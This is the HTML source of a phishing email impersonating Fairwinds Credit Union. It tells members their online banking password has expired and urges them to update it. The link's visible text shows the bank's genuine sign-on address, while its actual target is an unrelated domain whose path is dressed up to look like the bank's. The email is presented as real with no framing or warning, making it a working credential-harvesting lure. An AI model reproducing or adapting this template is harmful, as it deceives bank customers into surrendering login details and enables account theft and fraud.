<HTML><HEAD><TITLE>Notice</TITLE>
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<P align=left>Dear Fairwinds Credit Union Member,</P>
<P align=left>Your online banking account password has
expired. For security reasons your personal access code needs to get updated. A fundamental element of safeguarding your
confidential information is to provide protection against unauthorized access
or use of this information. We maintain physical, electronic and procedural
safeguards that comply with federal guidelines to guard your nonpublic personal
information against unauthorized access. </P>
<P align=left>At this time we need you to follow the
necessary steps needed to update your online banking account password: </P>
<P style="COLOR: #0000ff; TEXT-DECORATION: underline" align=left><FONT
color=#0000ff>
<a href="http://bravaava.com/raw/2005.08.21.ava.birth/%20/.fairwindsonline.org/Start.htm">
https://fairwindsonline.org/Common/SignOn/Start.asp</a></FONT></P>
<p class="left">You are responsible for your password and agree to keep it
confidential at all times. Do not disclose your personal access code to anyone unauthorized to
sign on your account. </p>
<p class="left">Our online banking system allows you now
to have different passwords for online and phone access. You may wish to choose
this option in order to select an alpha-numeric password for your online
account. The personal access code for your phone access must
be numeric.</p>
<p class="left">Regards,<BR>
Fairwinds Credit Union Online Department</p>
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